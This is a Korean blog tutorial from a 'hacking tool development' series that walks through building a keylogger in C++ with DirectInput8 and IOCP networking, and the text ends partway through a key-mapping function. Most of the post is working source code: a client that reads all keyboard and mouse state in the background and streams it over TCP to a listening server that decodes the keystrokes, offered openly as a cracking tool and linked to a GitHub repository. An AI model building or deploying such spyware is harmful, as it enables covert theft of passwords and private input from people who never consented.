🪓해킹/해킹툴 개발강좌

해킹도구 개발 | 키로거(Keylogger) 이론및 개발실습

Mawile 2021. 12. 23.
728x90

🔥 소개

안녕하세요!

오랜만에 해킹툴 개발강좌가 돌아왔습니다!!

이번 시간에는 속도측면에서 좀 더 강화된 설계를 가지고 돌아왔습니다.

옛날에 올린 키로거관련 포스팅입니다.

https://mawile.tistory.com/131

 

키로거 만들기 C++

개발환경 >> Visual Studio 언어 >> C++20 운영체제 >> Windows10 안녕하세요..! 이번에는 키로거를 만들게 되었습니다. 키로거는 만들기 엄청 간단합니다. 이글과는 상관없지만, 현재 다음 악성코드 강좌

mawile.tistory.com

 

흠.. 지금보니까 뭔가 심플하지만, 설명이 부족하고, 네트워크관련 설계도 없습니다.

이번시간에는 DirectInput8윈도우의 iocp를 이용하여 하드웨어레벨까지 총망라하여 강력한 속도의 키로거를 직접 a부터 z까지 개발해보고 이에 관하여 설명하는 포스팅을 시작하겠습니다.

 

🔥 키로거(Keylogger)란?

컴퓨터가 받아들이는 입력 정보의 기록, 그 중에서도 주로 키보드를 통한 입력의 기록을 제작하는 장치를 말한다. 대개 사용자의 동의 없이 기록을 만들고 전송하는 방식의 크래킹 도구로 쓰인다. (나무위키)

 

이번 포스팅에서 저가 만들어볼 키로거는 간단하게 클라이언트의 입력이벤트를 받아들이고, 서버에서 해당 입력이벤트를 처리하는 방식으로 진행할것입니다.

 

🔮 프로젝트 다운로드

깃허브 (Github)

 

GitHub - Mawi1e/Keylogger: Keylogger with DirectInput and IOCP in C++

Keylogger with DirectInput and IOCP in C++. Contribute to Mawi1e/Keylogger development by creating an account on GitHub.

github.com

 

🔮 어떠한 환경에서 개발할까?

이번 해킹툴 또한, C++20을 사용할것입니다.

DirectInput을 사용하기 위해서 DirectX의 최신버전이 설치되어 있어야만 합니다.

저가 최근에 DirectX최신버전 설치글과 환경세팅에 관하여 올린 포스팅이니 반드시 열람해주시기 바랍니다.

https://mawile.tistory.com/245

 

간단하게 DirectX 최신 버전 설치 & 개발 환경 세팅

간단하게 DirectX 최신 버전 설치 & 사용해보기 안녕하세요! 이번에는 DirectX의 최신버전을 설치하고 비주얼스튜디오에서 환경을 맞추어보도록 하겠습니다. 이 강좌는 간단하게 나중에 여러가

mawile.tistory.com

 

💎 개발환경

언어: C++20

통합개발환경: Visual Studio 2022 Current

컴파일러: MSVC

 

🔮 프레임워크및 솔루션

저가 설계한 솔루션과 프레임워크입니다.

 

InputClass 입력을 관리하는 클래스
NetworkClass 네트워크를 관리하는 클래스
Keylogger 키로거 헤더
keyState 키관련 메서드를 모아놓은 헤더
SMain 서버쪽 메인모듈
CMain 클라이언트쪽 메인모듈

 

🔮 만들어보자!

SMain.cpp
#include "Keylogger.h"

int main(int argc, char** argv) {
	Mawi1e::Keylogger* keylogger = new Mawi1e::Keylogger;

	if (keylogger->Initialize(_Mawi1e_KEYLOGGER_SERVER)) {
		keylogger->Frame();
	}

	keylogger->Shutdown();
	delete keylogger;
	keylogger = nullptr;

	return 0;
}

먼저 우리는 키로거의 클래스객체를 동적으로 할당받아, 초기화해줄겁니다.

이 소스파일은 서버쪽이므로, 플래그는 _Mawi1e_KEYLOGGER_SERVER 로 설정해줍니다.

 

CMain.cpp
#include "Keylogger.h"

int main(int argc, char** argv) {
	Mawi1e::Keylogger* keylogger = new Mawi1e::Keylogger;

	if (keylogger->Initialize(_Mawi1e_KEYLOGGER_CLIENT, "127.0.0.1")) {
		keylogger->Frame();
	}

	keylogger->Shutdown();
	delete keylogger;
	keylogger = nullptr;

	return 0;
}

클라이언트도 똑같지만, 클라이언트는 서버의 IP주소를 입력해주세요.

저는 같은PC에서 사용할것이기때문에 Loopback주소를 사용했습니다.

 

InputClass.h
#pragma once
#pragma comment(lib, "dxguid")
#pragma comment(lib, "dinput8")

#define DIRECTINPUT_VERSION (0x0800)

#include "keyState.h"

#include  <tuple>

#include <Windows.h>
#include <dinput.h>

namespace Mawi1e {
	class InputClass {
	public:
		InputClass();
		InputClass(const InputClass&);
		~InputClass();

		bool Initialize();
		void Shutdown();

		bool Frame();

		std::tuple<unsigned char*, int, int> GetDeviceState();

	private:
		void ErrorHandling(const char*);

	private:
		IDirectInput8* m_DirectInput;
		IDirectInputDevice8* m_MouseDevice;
		IDirectInputDevice8* m_KeyboardDevice;

		unsigned char m_KeyState[256];

		DIMOUSESTATE m_MouseState;
		int m_ScreenWidth, m_ScreenHeight;
		int m_MouseX, m_MouseY;

	};
}

이제 우리는 DirectInput8을 사용하여 하드웨어의 메모리를 직접적으로 참조하여 일반적으로 사용하는 winapi의 속도를 뛰어넘는 속도로 마우스와 키의 상태를 읽을것입니다.

 

InputClass.cpp
#include "InputClass.h"

namespace Mawi1e {
	InputClass::InputClass() {
		this->m_DirectInput = nullptr;
		this->m_KeyboardDevice = nullptr;
		this->m_MouseDevice = nullptr;
	}

	InputClass::InputClass(const InputClass&) {
	}

	InputClass::~InputClass() {
	}

일반적으로 우리는 IUnKnown클래스의 인터페이스에 대한 포인터객체를 초기화해주어야합니다.

 

bool InputClass::Initialize() {
		HINSTANCE hInst;
		HWND hwnd;
		HRESULT result;

		this->m_ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
		this->m_ScreenHeight = GetSystemMetrics(SM_CYSCREEN);

		/** ------------------------------------------------------------------------
		[                            마우스 좌표 초기화                            ]
		------------------------------------------------------------------------ **/
		SetCursorPos(0, 0);
		this->m_MouseX = 0;
		this->m_MouseY = 0;

		hwnd = GetConsoleWindow();
		hInst = GetModuleHandle(0);
		if (hInst == nullptr) {
			this->ErrorHandling("#M300");
			return false;
		}

		result = DirectInput8Create(hInst, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&this->m_DirectInput, 0);
		if (FAILED(result)) {
			this->ErrorHandling("#M301");
			return false;
		}
		
		/** ------------------------------------------------------------------------
		[                        키보드 디바이스 객체 취득                         ]
		------------------------------------------------------------------------ **/
		result = this->m_DirectInput->CreateDevice(GUID_SysKeyboard, &this->m_KeyboardDevice, 0);
		if (FAILED(result)) {
			this->ErrorHandling("#M302");
			return false;
		}

		result = this->m_KeyboardDevice->SetCooperativeLevel(hwnd, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE);
		if (FAILED(result)) {
			this->ErrorHandling("#M303");
			return false;
		}

		result = this->m_KeyboardDevice->SetDataFormat(&c_dfDIKeyboard);
		if (FAILED(result)) {
			this->ErrorHandling("#M304");
			return false;
		}

		result = this->m_KeyboardDevice->Acquire();
		/*
		if (FAILED(result)) {
			this->ErrorHandling("#M305");
			return false;
		}
		*/

		/** ------------------------------------------------------------------------
		[                        마우스 디바이스 객체 취득                         ]
		------------------------------------------------------------------------ **/
		result = this->m_DirectInput->CreateDevice(GUID_SysMouse, &this->m_MouseDevice, 0);
		if (FAILED(result)) {
			this->ErrorHandling("#M306");
			return false;
		}

		result = this->m_MouseDevice->SetCooperativeLevel(hwnd, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE);
		if (FAILED(result)) {
			this->ErrorHandling("#M307");
			return false;
		}

		result = this->m_MouseDevice->SetDataFormat(&c_dfDIMouse);
		if (FAILED(result)) {
			this->ErrorHandling("#M308");
			return false;
		}

		result = this->m_MouseDevice->Acquire();
		if (FAILED(result)) {
			this->ErrorHandling("#M309");
			return false;
		}

		return true;
	}

주석에서도 나와있다시피, 이 함수는 디바이스객체를 할당해주는 함수입니다.

데이터형식을 정하고, 협력레벨은 모두 NONEXCLUSIVE 로 해줍니다.

왜냐하면 우리는 다른 프로세스가 열려있다고 가정하더라도, 그와는 별개로 계속해서 키의 값을 받아와야 하기 때문입니다.

 

void InputClass::Shutdown() {
		if (this->m_KeyboardDevice) {
			this->m_KeyboardDevice->Unacquire();
			this->m_KeyboardDevice->Release();
			this->m_KeyboardDevice = nullptr;
		}

		if (this->m_MouseDevice) {
			this->m_MouseDevice->Unacquire();
			this->m_MouseDevice->Release();
			this->m_MouseDevice = nullptr;
		}

		if (this->m_DirectInput) {
			this->m_DirectInput->Release();
			this->m_DirectInput = nullptr;
		}

		return;
	}

	bool InputClass::Frame() {
		HRESULT result;

		result = this->m_KeyboardDevice->GetDeviceState(sizeof(this->m_KeyState), &this->m_KeyState);
		if (FAILED(result)) {
			if (result == DIERR_INPUTLOST || result == DIERR_NOTACQUIRED) {
				this->m_KeyboardDevice->Acquire();
			}
			else {
				this->ErrorHandling("#M400");
				return false;
			}
		}

		result = this->m_MouseDevice->GetDeviceState(sizeof(DIMOUSESTATE), &m_MouseState);
		if (FAILED(result)) {
			if (result == DIERR_INPUTLOST || result == DIERR_NOTACQUIRED) {
				this->m_MouseDevice->Acquire();
			}
			else {
				this->ErrorHandling("#M401");
				return false;
			}
		}

		/** ------------------------------------------------------------------------
		[                         마우스의 오차범위 제거                           ]
		------------------------------------------------------------------------ **/
		this->m_MouseX += this->m_MouseState.lX;
		this->m_MouseY += this->m_MouseState.lY;

		if (this->m_MouseX < 0) { this->m_MouseX = 0; }
		if (this->m_MouseY < 0) { this->m_MouseY = 0; }
		if (this->m_MouseX > m_ScreenWidth) { this->m_MouseX = m_ScreenWidth; }
		if (this->m_MouseY > m_ScreenHeight) { this->m_MouseY = m_ScreenHeight; }

		return true;
	}

	std::tuple<unsigned char*, int, int> InputClass::GetDeviceState() {
		return std::make_tuple(this->m_KeyState, this->m_MouseX, this->m_MouseY);
	}

	void InputClass::ErrorHandling(const char* ErrorMessage) {
		MessageBoxA(0, ErrorMessage, "##Warning##", MB_ICONWARNING);

		return;
	}
}

Shutdown함수는 우리가 Initialize함수에서 할당해준 디바이스객체의 메모리공간을 힙으로부터 풀어주는 역할을 합니다.

또한, Frame함수는 매번 우리가 업데이트해야하는 함수인데, 이 함수는 키보드와 마우스의 상태를 새로 읽고씁니다.

 

NetworkClass.h
#pragma once
#pragma comment(lib, "ws2_32")

#include "keyState.h"

#include <iostream>
#include <thread>
#include <tuple>

#include <winsock2.h>
#include <WS2tcpip.h>
#include <Windows.h>

namespace Mawi1e {
	/** ------------------------------------------------------------------------
	[                                서버 패킷                                 ]
	------------------------------------------------------------------------ **/
	typedef struct {
		WSAOVERLAPPED overlapped;
		WSABUF wsaBuf;
		SOCKET s;
		char Message[0x400];
		unsigned char prev_key;
		bool key_upper;
		bool capsLock;
	} PER_IO, *LPPER_IO;

	class NetworkClass {
	public:
		NetworkClass();
		NetworkClass(const NetworkClass&);
		~NetworkClass();

		bool Listen(LPWSAOVERLAPPED_COMPLETION_ROUTINE);
		bool Connect(const char*);

		void ForcefullyPause();
		void Shutdown();

		bool SendKeyState(KeyState, std::size_t);

	private:
		void ErrorHandling(const char*);

	private:
		SOCKET m_ServSock;

	};
}

이 네트워크클래스 또한, 우리가 앞서서 만든 InputClass와 같이 하드웨어에 근접한 서비스를 지원합니다.

일단 이 NetworkClass는 iocp의 overlapped모델을 사용하고, winapi자체적으로 지원하는 콜백함수를 사용하여 보다빠른 속도를 보여줍니다.

 

NetworkClass.cpp
#include "NetworkClass.h"

namespace Mawi1e {
	NetworkClass::NetworkClass() {

	}

	NetworkClass::NetworkClass(const NetworkClass&) {
	}

	NetworkClass::~NetworkClass() {
	}

	bool NetworkClass::Listen(LPWSAOVERLAPPED_COMPLETION_ROUTINE Routine) {
		WSADATA wsaData;
		SOCKADDR_IN sockAddr;
		int result;

		result = WSAStartup(MAKEWORD(2, 2), &wsaData);
		if (result != 0) {
			this->ErrorHandling("#M200");
			return false;
		}

		this->m_ServSock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, WSA_FLAG_OVERLAPPED);
		if (this->m_ServSock == INVALID_SOCKET) {
			this->ErrorHandling("#M201");
			return false;
		}

		memset(&sockAddr, 0x00, sizeof(sockAddr));
		sockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
		sockAddr.sin_family = AF_INET;
		sockAddr.sin_port = htons(8080);

		result = bind(this->m_ServSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr));
		if (result == SOCKET_ERROR) {
			this->ErrorHandling("#M202");
			return false;
		}

		result = listen(this->m_ServSock, SOMAXCONN);
		if (result == SOCKET_ERROR) {
			this->ErrorHandling("#M203");
			return false;
		}

		/** ------------------------------------------------------------------------
		[                       동기적으로 클라이언트를 수용                       ]
		------------------------------------------------------------------------ **/
		for (;;) {
			SOCKET client;
			DWORD Flags;
			SOCKADDR_IN tempAddr;
			int tempAddrSize;

			tempAddrSize = sizeof(tempAddr);
			client = accept(this->m_ServSock, (SOCKADDR*)&tempAddr, &tempAddrSize);
			if (client == INVALID_SOCKET) {
				return true;
			}

			LPPER_IO tempData = new PER_IO;
			memset(&tempData->overlapped, 0x00, sizeof(WSAOVERLAPPED));
			memset(&tempData->Message, 0x00, 0x400);
			tempData->s = client;
			tempData->wsaBuf.len = 0x400;
			tempData->wsaBuf.buf = tempData->Message;
			Flags = 0x00;

			result = WSARecv(tempData->s, &tempData->wsaBuf, 1, 0, &Flags, &tempData->overlapped, Routine);
			if (result) {
				if (WSAGetLastError() != WSA_IO_PENDING) {
					return false;
				}
			}
		}

		return true;
	}

이번에 Listen함수는 서버를 연뒤, 클라이언트를 받아들일 준비를 합니다.

저가 이번에는 안전성검증과 자원낭비를 줄이기위해 멀티스레드 자체를 아예 사용을 안했습니다. (크으으~~)

콜백함수는 Routine함수입니다.

 

bool NetworkClass::Connect(const char* ipAddress) {
		WSADATA wsaData;
		SOCKADDR_IN sockAddr;
		int result;

		result = WSAStartup(MAKEWORD(2, 2), &wsaData);
		if (result != 0) {
			this->ErrorHandling("#M200");
			return false;
		}

		this->m_ServSock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, WSA_FLAG_OVERLAPPED);
		if (this->m_ServSock == INVALID_SOCKET) {
			this->ErrorHandling("#M201");
			return false;
		}

		memset(&sockAddr, 0x00, sizeof(sockAddr));
		sockAddr.sin_family = AF_INET;
		sockAddr.sin_port = htons(8080);
		inet_pton(AF_INET, ipAddress, &sockAddr.sin_addr);

		result = connect(this->m_ServSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr));
		if (result == INVALID_SOCKET) {
			this->ErrorHandling("#M202");
			return false;
		}

		return true;
	}

Connect함수는 서버에 접속을 할 수 있는 함수입니다.

연결에 대하여 타임아웃될경우 실패합니다.

 

void NetworkClass::ForcefullyPause() {
		closesocket(this->m_ServSock);
		this->Shutdown();

		return;
	}

	void NetworkClass::Shutdown() {
		WSACleanup();

		return;
	}

	bool NetworkClass::SendKeyState(KeyState ptr, std::size_t size) {
		if (send(this->m_ServSock, (const char*)&ptr, size, 0) <= 0) {
			return false;
		}

		return true;
	}

	void NetworkClass::ErrorHandling(const char* ErrorMessage) {
		MessageBoxA(0, ErrorMessage, "##Warning##", MB_ICONWARNING);

		return;
	}

ForcefullyPause함수는 서버에 대한 접속이나 클라이언트에 대한 접속을 강제로 종료하는 함수입니다.

SendKeyState함수는 클라이언트가 읽어드린 자신의 키보드와 마우스의 상태를 서버로 전송하는 함수입니다.

 

Keylogger.h
#pragma once

#include "keyState.h"

#include "NetworkClass.h"
#include "InputClass.h"

#define _Mawi1e_KEYLOGGER_SERVER (0x01)
#define _Mawi1e_KEYLOGGER_CLIENT (0x02)

#include <chrono>

namespace Mawi1e {
	void static __stdcall RecvRoutine(DWORD, DWORD, LPWSAOVERLAPPED, DWORD);

	class Keylogger {
	public:
		Keylogger();
		Keylogger(const Keylogger&);
		~Keylogger();

		bool Initialize(int, const char* = "127.0.0.1");
		void Shutdown();

		void Frame();

	private:
		void ErrorHandling(const char*);

	private:
		InputClass* m_Input;
		NetworkClass* m_Network;

		int m_ServClnt;

	};
}

이 클래스는 네트워크클래스와 인풋클래스객체를 관리하고, 우리가 앞으로 사용할 키로거가 하는 역할의 핵심이 될 클래스입니다.

 

Keylogger.cpp
#include "Keylogger.h"


namespace Mawi1e {
	Keylogger::Keylogger() {
		this->m_Input = nullptr;
		this->m_Network = nullptr;
	}

	Keylogger::Keylogger(const Keylogger&) {
	}

	Keylogger::~Keylogger() {
	}

	bool Keylogger::Initialize(int ServClnt, const char* ipAddress) {
		bool result;

		this->m_ServClnt = ServClnt;

		if (ServClnt == _Mawi1e_KEYLOGGER_CLIENT) {
			this->m_Input = new InputClass;
			if (this->m_Input == nullptr) {
				this->ErrorHandling("#M102");
				return false;
			}

			result = this->m_Input->Initialize();
			if (!result) {
				this->ErrorHandling("#M103");
				return false;
			}
		}


		this->m_Network = new NetworkClass;
		if (this->m_Network == nullptr) {
			this->ErrorHandling("#M100");
			return false;
		}

		result = true;
		if (ServClnt == _Mawi1e_KEYLOGGER_SERVER) {
			result = this->m_Network->Listen(RecvRoutine);
		}
		else if (ServClnt == _Mawi1e_KEYLOGGER_CLIENT) {
			result = this->m_Network->Connect(ipAddress);
		}

		if (!result) {
			this->ErrorHandling("#M101");
			return false;
		}

		return true;
	}

네트워크클래스와 인풋클래스의 포인터객체를 각각 힙으로부터 메모리공간을 할당해주고, 초기화를 실행합니다.

 

void Keylogger::Shutdown() {
		if (this->m_Input) {
			this->m_Input->Shutdown();
			delete this->m_Input;
			this->m_Input = nullptr;
		}

		if (this->m_Network) {
			this->m_Network->Shutdown();
			delete this->m_Network;
			this->m_Network = nullptr;
		}

		return;
	}

	void Keylogger::Frame() {
		bool result;

		/** ------------------------------------------------------------------------
		[            클라이언트일경우 입력값업데이트하고, 서버로 전송              ]
		------------------------------------------------------------------------ **/
		for (;;) {
			if (this->m_ServClnt == _Mawi1e_KEYLOGGER_CLIENT) {
				result = this->m_Input->Frame();
				if (!result) {
					this->ErrorHandling("#M104");
					break;
				}

				KeyState keyState;
				auto[myKeyState, mouseX, mouseY] = this->m_Input->GetDeviceState();
				memcpy(keyState.keyboard, (const void*)myKeyState, 256);
				keyState.mouseX = mouseX;
				keyState.mouseY = mouseY;

				result = this->m_Network->SendKeyState(keyState, sizeof(keyState));
				if (!result) {
					this->ErrorHandling("#M105");
					break;
				}

				/** ------------------------------------------------------------------------
				[                             0.25초 블로킹                                ]
				------------------------------------------------------------------------ **/
				std::this_thread::sleep_for(std::chrono::microseconds(250));
			}
		}

		return;
	}

	void Keylogger::ErrorHandling(const char* ErrorMessage) {
		MessageBoxA(0, ErrorMessage, "##Warning##", MB_ICONWARNING);

		return;
	}

Frame함수는 우리가 앞으로 계속해서 업데이트해야 할 함수입니다.

이 함수는 클라이언트가 자신의 키보드와 마우스의 상태를 읽어들이고, 해당상태를 이진화하여 서버로 전송합니다.

 

void __stdcall RecvRoutine(DWORD Erorr, DWORD Databytes, LPWSAOVERLAPPED lpOverlapped, DWORD Flags) {
		LPPER_IO ioData = (LPPER_IO)lpOverlapped;
		DWORD RecvFlags;
		int result;

		if (Databytes == 0) {
			/** ------------------------------------------------------------------------
			[                          클라이언트 연결 해제                            ]
			------------------------------------------------------------------------ **/
			std::cout << "[-] Client Disconnection.\n";

			closesocket(ioData->s);
			delete ioData;
			return;
		}

		KeyState keyState;

		/** ------------------------------------------------------------------------
		[              클라이언트로부터 받은메모리를 전용구조체로 복사             ]
		------------------------------------------------------------------------ **/
		memcpy(&keyState, ioData->Message, sizeof(keyState));

		/** ------------------------------------------------------------------------
		[                        CapsLock 토글(Toggle)관리                         ]
		------------------------------------------------------------------------ **/
		ioData->capsLock = (keyState.keyboard[DIK_CAPSLOCK] & 0x80 ? ioData->capsLock ? false : true : ioData->capsLock ? true : false);
		
		/** ------------------------------------------------------------------------
		[                            키보드상태를 분석                             ]
		------------------------------------------------------------------------ **/
		auto[dik, upper, unClickedFlag] = AsciiStringAssembly(keyState.keyboard, ioData->capsLock);
		if (dik > 0) {
			if (ioData->prev_key != dik) {
				ioData->prev_key = dik;
			}
		}
		if (!unClickedFlag && ioData->key_upper != upper) {
			ioData->key_upper = upper;
		}

		/** ------------------------------------------------------------------------
		[                    DIK를 ASCII로 바꾼뒤, 콘솔로 출력                     ]
		------------------------------------------------------------------------ **/
		SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), { 0, 0 });
		std::cout << keyState.mouseX << ", " << keyState.mouseY << ", " << ConvertDIKToAscii(ioData->prev_key, ioData->key_upper) << "\t\t" << std::endl;
		
		/** ------------------------------------------------------------------------
		[                             Overlapped초기화                             ]
		------------------------------------------------------------------------ **/
		memset(&ioData->overlapped, 0x00, sizeof(WSAOVERLAPPED));
		ioData->wsaBuf.len = 0x400;
		ioData->wsaBuf.buf = ioData->Message;
		RecvFlags = 0x00;

		result = WSARecv(ioData->s, &ioData->wsaBuf, 1, 0, &RecvFlags, &ioData->overlapped, RecvRoutine);
		if (result) {
			if (WSAGetLastError() != WSA_IO_PENDING) {
				return;
			}
		}
	}
}

RecvRoutine함수는 우리가 winapi에서 자체적으로 지원하는 iocp overlapped 네트워크모델을 통해 콜백함수로 운용될 함수입니다.

이 함수는 클라이언트들을 관리하고, 데이터패킷을 분석하여 마우스의 키보드에 대한 값으로 변환하는 역할을 합니다.

 

keyState.h
#pragma once

#include <string>
#include <tuple>

#ifndef MY_DIKKZERO
#define MY_DIKKZERO

#define DIK_ESCAPE          0x01
#define DIK_1               0x02
#define DIK_2               0x03
#define DIK_3               0x04
#define DIK_4               0x05
#define DIK_5               0x06
#define DIK_6               0x07
#define DIK_7               0x08
#define DIK_8               0x09
#define DIK_9               0x0A
#define DIK_0               0x0B
#define DIK_MINUS           0x0C    /* - on main keyboard */
#define DIK_EQUALS          0x0D
#define DIK_BACK            0x0E    /* backspace */
#define DIK_TAB             0x0F
#define DIK_Q               0x10
#define DIK_W               0x11
#define DIK_E               0x12
#define DIK_R               0x13
#define DIK_T               0x14
#define DIK_Y               0x15
#define DIK_U               0x16
#define DIK_I               0x17
#define DIK_O               0x18
#define DIK_P               0x19
#define DIK_LBRACKET        0x1A
#define DIK_RBRACKET        0x1B
#define DIK_RETURN          0x1C    /* Enter on main keyboard */
#define DIK_LCONTROL        0x1D
#define DIK_A               0x1E
#define DIK_S               0x1F
#define DIK_D               0x20
#define DIK_F               0x21
#define DIK_G               0x22
#define DIK_H               0x23
#define DIK_J               0x24
#define DIK_K               0x25
#define DIK_L               0x26
#define DIK_SEMICOLON       0x27
#define DIK_APOSTROPHE      0x28
#define DIK_GRAVE           0x29    /* accent grave */
#define DIK_LSHIFT          0x2A
#define DIK_BACKSLASH       0x2B
#define DIK_Z               0x2C
#define DIK_X               0x2D
#define DIK_C               0x2E
#define DIK_V               0x2F
#define DIK_B               0x30
#define DIK_N               0x31
#define DIK_M               0x32
#define DIK_COMMA           0x33
#define DIK_PERIOD          0x34    /* . on main keyboard */
#define DIK_SLASH           0x35    /* / on main keyboard */
#define DIK_RSHIFT          0x36
#define DIK_MULTIPLY        0x37    /* * on numeric keypad */
#define DIK_LMENU           0x38    /* left Alt */
#define DIK_SPACE           0x39
#define DIK_CAPITAL         0x3A
#define DIK_F1              0x3B
#define DIK_F2              0x3C
#define DIK_F3              0x3D
#define DIK_F4              0x3E
#define DIK_F5              0x3F
#define DIK_F6              0x40
#define DIK_F7              0x41
#define DIK_F8              0x42
#define DIK_F9              0x43
#define DIK_F10             0x44
#define DIK_NUMLOCK         0x45
#define DIK_SCROLL          0x46    /* Scroll Lock */
#define DIK_NUMPAD7         0x47
#define DIK_NUMPAD8         0x48
#define DIK_NUMPAD9         0x49
#define DIK_SUBTRACT        0x4A    /* - on numeric keypad */
#define DIK_NUMPAD4         0x4B
#define DIK_NUMPAD5         0x4C
#define DIK_NUMPAD6         0x4D
#define DIK_ADD             0x4E    /* + on numeric keypad */
#define DIK_NUMPAD1         0x4F
#define DIK_NUMPAD2         0x50
#define DIK_NUMPAD3         0x51
#define DIK_NUMPAD0         0x52
#define DIK_DECIMAL         0x53    /* . on numeric keypad */
#define DIK_OEM_102         0x56    /* <> or \| on RT 102-key keyboard (Non-U.S.) */
#define DIK_F11             0x57
#define DIK_F12             0x58
#define DIK_F13             0x64    /*                     (NEC PC98) */
#define DIK_F14             0x65    /*                     (NEC PC98) */
#define DIK_F15             0x66    /*                     (NEC PC98) */
#define DIK_KANA            0x70    /* (Japanese keyboard)            */
#define DIK_ABNT_C1         0x73    /* /? on Brazilian keyboard */
#define DIK_CONVERT         0x79    /* (Japanese keyboard)            */
#define DIK_NOCONVERT       0x7B    /* (Japanese keyboard)            */
#define DIK_YEN             0x7D    /* (Japanese keyboard)            */
#define DIK_ABNT_C2         0x7E    /* Numpad . on Brazilian keyboard */
#define DIK_NUMPADEQUALS    0x8D    /* = on numeric keypad (NEC PC98) */
#define DIK_PREVTRACK       0x90    /* Previous Track (DIK_CIRCUMFLEX on Japanese keyboard) */
#define DIK_AT              0x91    /*                     (NEC PC98) */
#define DIK_COLON           0x92    /*                     (NEC PC98) */
#define DIK_UNDERLINE       0x93    /*                     (NEC PC98) */
#define DIK_KANJI           0x94    /* (Japanese keyboard)            */
#define DIK_STOP            0x95    /*                     (NEC PC98) */
#define DIK_AX              0x96    /*                     (Japan AX) */
#define DIK_UNLABELED       0x97    /*                        (J3100) */
#define DIK_NEXTTRACK       0x99    /* Next Track */
#define DIK_NUMPADENTER     0x9C    /* Enter on numeric keypad */
#define DIK_RCONTROL        0x9D
#define DIK_MUTE            0xA0    /* Mute */
#define DIK_CALCULATOR      0xA1    /* Calculator */
#define DIK_PLAYPAUSE       0xA2    /* Play / Pause */
#define DIK_MEDIASTOP       0xA4    /* Media Stop */
#define DIK_VOLUMEDOWN      0xAE    /* Volume - */
#define DIK_VOLUMEUP        0xB0    /* Volume + */
#define DIK_WEBHOME         0xB2    /* Web home */
#define DIK_NUMPADCOMMA     0xB3    /* , on numeric keypad (NEC PC98) */
#define DIK_DIVIDE          0xB5    /* / on numeric keypad */
#define DIK_SYSRQ           0xB7
#define DIK_RMENU           0xB8    /* right Alt */
#define DIK_PAUSE           0xC5    /* Pause */
#define DIK_HOME            0xC7    /* Home on arrow keypad */
#define DIK_UP              0xC8    /* UpArrow on arrow keypad */
#define DIK_PRIOR           0xC9    /* PgUp on arrow keypad */
#define DIK_LEFT            0xCB    /* LeftArrow on arrow keypad */
#define DIK_RIGHT           0xCD    /* RightArrow on arrow keypad */
#define DIK_END             0xCF    /* End on arrow keypad */
#define DIK_DOWN            0xD0    /* DownArrow on arrow keypad */
#define DIK_NEXT            0xD1    /* PgDn on arrow keypad */
#define DIK_INSERT          0xD2    /* Insert on arrow keypad */
#define DIK_DELETE          0xD3    /* Delete on arrow keypad */
#define DIK_LWIN            0xDB    /* Left Windows key */
#define DIK_RWIN            0xDC    /* Right Windows key */
#define DIK_APPS            0xDD    /* AppMenu key */
#define DIK_POWER           0xDE    /* System Power */
#define DIK_SLEEP           0xDF    /* System Sleep */
#define DIK_WAKE            0xE3    /* System Wake */
#define DIK_WEBSEARCH       0xE5    /* Web Search */
#define DIK_WEBFAVORITES    0xE6    /* Web Favorites */
#define DIK_WEBREFRESH      0xE7    /* Web Refresh */
#define DIK_WEBSTOP         0xE8    /* Web Stop */
#define DIK_WEBFORWARD      0xE9    /* Web Forward */
#define DIK_WEBBACK         0xEA    /* Web Back */
#define DIK_MYCOMPUTER      0xEB    /* My Computer */
#define DIK_MAIL            0xEC    /* Mail */
#define DIK_MEDIASELECT     0xED    /* Media Select */

/*
 *  Alternate names for keys, to facilitate transition from DOS.
 */
#define DIK_BACKSPACE       DIK_BACK            /* backspace */
#define DIK_NUMPADSTAR      DIK_MULTIPLY        /* * on numeric keypad */
#define DIK_LALT            DIK_LMENU           /* left Alt */
#define DIK_CAPSLOCK        DIK_CAPITAL         /* CapsLock */
#define DIK_NUMPADMINUS     DIK_SUBTRACT        /* - on numeric keypad */
#define DIK_NUMPADPLUS      DIK_ADD             /* + on numeric keypad */
#define DIK_NUMPADPERIOD    DIK_DECIMAL         /* . on numeric keypad */
#define DIK_NUMPADSLASH     DIK_DIVIDE          /* / on numeric keypad */
#define DIK_RALT            DIK_RMENU           /* right Alt */
#define DIK_UPARROW         DIK_UP              /* UpArrow on arrow keypad */
#define DIK_PGUP            DIK_PRIOR           /* PgUp on arrow keypad */
#define DIK_LEFTARROW       DIK_LEFT            /* LeftArrow on arrow keypad */
#define DIK_RIGHTARROW      DIK_RIGHT           /* RightArrow on arrow keypad */
#define DIK_DOWNARROW       DIK_DOWN            /* DownArrow on arrow keypad */
#define DIK_PGDN            DIK_NEXT            /* PgDn on arrow keypad */

#endif /* MY_DIKKZERO */

namespace Mawi1e {
	struct KeyState {
		unsigned char keyboard[256];
		int mouseX, mouseY;
	};

	std::string ConvertDIKToAscii(int, bool);
	std::tuple<int, bool, bool> AsciiStringAssembly(const unsigned char*, bool);
}

우선 MY_DIKKZERO 매크로부분은 집중적으로 안보셔도됩니다.

저는 여기서 그냥 dinput을 인클루드하면 매크로중첩 오류가 나길래, 그냥 dinput헤더파일에서 DIK_매크로만 그대로 긁어왔습니다.

 

keyState.cpp
#include "keyState.h"

namespace Mawi1e {
	std::string ConvertDIKToAscii(int dik, bool upper) {
		std::string ascii;
		ascii = "\0";

		switch (dik) {
		case DIK_A: ascii = "A"; break;
		case DIK_B: ascii = "B"; break;
		case DIK_C: ascii = "C"; break;
		case DIK_D: ascii = "D"; break;
		case DIK_E: ascii = "E"; break;
		case DIK_F: ascii = "F"; break;
		case DIK_G: ascii = "G"; break;
		case DIK_H: ascii = "H"; break;
		case DIK_I: ascii = "I"; break;
		case DIK_J: ascii = "J"; break;
		case DIK_K: ascii = "K"; break;
		case DIK_L: ascii = "L"; break;
		case DIK_M: ascii = "M"; break;
		case DIK_N: ascii = "N"; break;
		case DIK_O: ascii = "O"; break;
		case DIK_P: ascii = "P"; break;
		case DIK_Q: ascii = "Q"; break;
		case DIK_R: ascii = "R"; break;
		case DIK_S: ascii = "S"; break;
		case DIK_T: ascii = "T"; break;
